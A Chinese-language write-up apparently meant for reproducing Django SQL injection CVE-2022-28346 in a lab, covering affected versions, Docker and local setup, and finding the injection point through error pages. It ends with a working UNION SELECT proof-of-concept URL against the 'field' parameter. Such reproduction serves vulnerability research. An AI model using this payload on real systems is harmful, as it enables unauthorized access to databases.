声明
本篇文章仅用于漏洞复现和技术研究,切勿将文中涉及攻击手法用于非授权下的渗透行为,出现任何后果与本文章作者无关,切记!!!
一、简介
Django是用Python开发的一个免费开源的Web结构,几乎包括了Web使用方方面面,能够用于快速建立高性能、文雅的网站,Diango提供了许多网站后台开发常常用到的模块,使开发者可以专注于业务部分。
二、漏洞概述
漏洞编号:CVE-2022-28346
攻击者使用精心编制的字典,通过 **kwargs 传递给QuerySet.annotate()、aggregate()和extra()这些方法,可导致这些方法在列别名中受到SQL注入攻击,该漏洞在 2.2.28 之前的 Django 2.2、3.2.13 之前的 3.2 和 4.0.4 之前的 4.0 中都存在这个问题。
三、漏洞影响版本
- 4.0 <= Django < 4.0.4
- 3.2 <= Django < 3.2.13
- 2.2 <= Django < 2.2.28
四、漏洞分析
五、漏洞复现
Docker
docker pull s0cke3t/cve-2022-28346:latest
docker run -d -p 8080:8000 s0cke3t/cve-2022-28346
本地环境搭建
环境下载:https://github.com/DeEpinGh0st/CVE-2022-28346
Python:3.9.8
Django:3.2.11
本地启动
环境初始化
python manage.py makemigrations
python manage.py migrate
访问http://x.x.x.x:8000/ 插入初始化数据
浏览器访问
访问404可以获取到报错页面查看报错信息得到传参接口(注入点接口)
访问到 demo/ 目录下,同样会出现报错信息
利用报错中提示的参数进行SQL注入
POC:http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" –
六、修复方法
官方已发布安全版本